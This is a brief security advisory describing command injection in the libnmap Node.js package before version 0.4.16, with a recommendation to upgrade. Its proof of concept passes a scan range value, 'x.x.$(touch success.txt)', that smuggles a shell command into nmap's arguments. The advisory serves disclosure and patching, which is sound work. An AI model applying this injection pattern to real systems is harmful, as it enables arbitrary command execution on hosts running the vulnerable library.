Command Injection in libnmap
Versions of `libnmap` before 0.4.16 are vulnerable to command injection.
Proof of concept
```js
const nmap = require('libnmap');
const opts = {
range: [
'
scanme.nmap.org',
"x.x.$(touch success.txt)"
]
};
nmap.scan(opts, function(err, report) {
if (err) throw new Error(err);
for (let item in report) {
console.log(JSON.stringify(report[item]));
}
});
```
## Recommendation
Update to version 0.4.16 or later